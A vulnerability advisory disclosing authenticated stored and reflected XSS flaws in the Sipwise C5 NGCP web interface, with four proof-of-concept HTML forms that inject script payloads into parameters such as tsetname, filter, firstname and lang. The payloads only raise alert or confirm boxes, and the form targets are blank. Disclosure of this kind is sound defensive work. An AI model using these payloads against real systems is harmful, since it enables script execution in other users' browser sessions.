Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities  
Vendor: Sipwise GmbH  
Product web page:  
Affected version: <=CE_m39.3.1  
NGCP www_admin version 3.6.7  
Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)  
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide  
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,  
conferencing etc.) that can be configured by end users in the self-care web interface.  
For operators, it offers a web-based administrative panel that allows them to configure  
subscribers, SIP peerings, billing profiles, and other entities. The administrative web  
panel also shows the real-time statistics for the whole system. For tight integration  
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.  
Desc: Sipwise software platform suffers from multiple authenticated stored and reflected  
cross-site scripting vulnerabilities when input passed via several parameters to several  
scripts is not properly sanitized before being returned to the user. This can be exploited  
to execute arbitrary HTML and script code in a user's browser session in context of an  
affected site.  
Tested on: Apache/2.2.22 (Debian)  
Apache/2.2.16 (Debian)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2021-5648  
Advisory URL:  
CVE ID: CVE-2021-31583  
Stored XSS (POST tsetname):  
<form action="" method="POST">  
<input type="hidden" name="tsetname" value=""><script>confirm(251)</script>" />  
<input type="hidden" name="subscriber_id" value="401" />  
<input type="hidden" name="x" value="90027" />  
<input type="hidden" name="y" value="-1" />  
<input type="submit" value="Go for callforward" />  
Reflected XSS (GET filter):  
<form action="" method="GET">  
<input type="hidden" name="filter" value='"><script>confirm(251)</script>' />  
<input type="hidden" name="x" value="0" />  
<input type="hidden" name="y" value="0" />  
<input type="submit" value="Go for addressbook" />  
Stored XSS (POST firstname, lastname, company):  
<form action="" method="POST">  
<input type="hidden" name="firstname" value='"><script>alert(251)</script>' />  
<input type="hidden" name="lastname" value='"><script>alert(251)</script>' />  
<input type="hidden" name="company" value='"><script>alert(251)</script>' />  
<input type="hidden" name="homephonenumber" value="1112223333" />  
<input type="hidden" name="phonenumber" value="3332221111" />  
<input type="hidden" name="mobilenumber" value="" />  
<input type="hidden" name="faxnumber" value="" />  
<input type="hidden" name="email" value="" />  
<input type="hidden" name="homepage" value="" />  
<input type="hidden" name="id" value="" />  
<input type="hidden" name="x" value="89957" />  
<input type="hidden" name="y" value="21" />  
<input type="submit" value="Go for addressbook 2" />  
Reflected XSS (GET lang):  
<form action="" method="GET">  
<input type="hidden" name="lang" value="en'-alert(251)-'ZSL" />  
<input type="submit" value="Go for statistics" />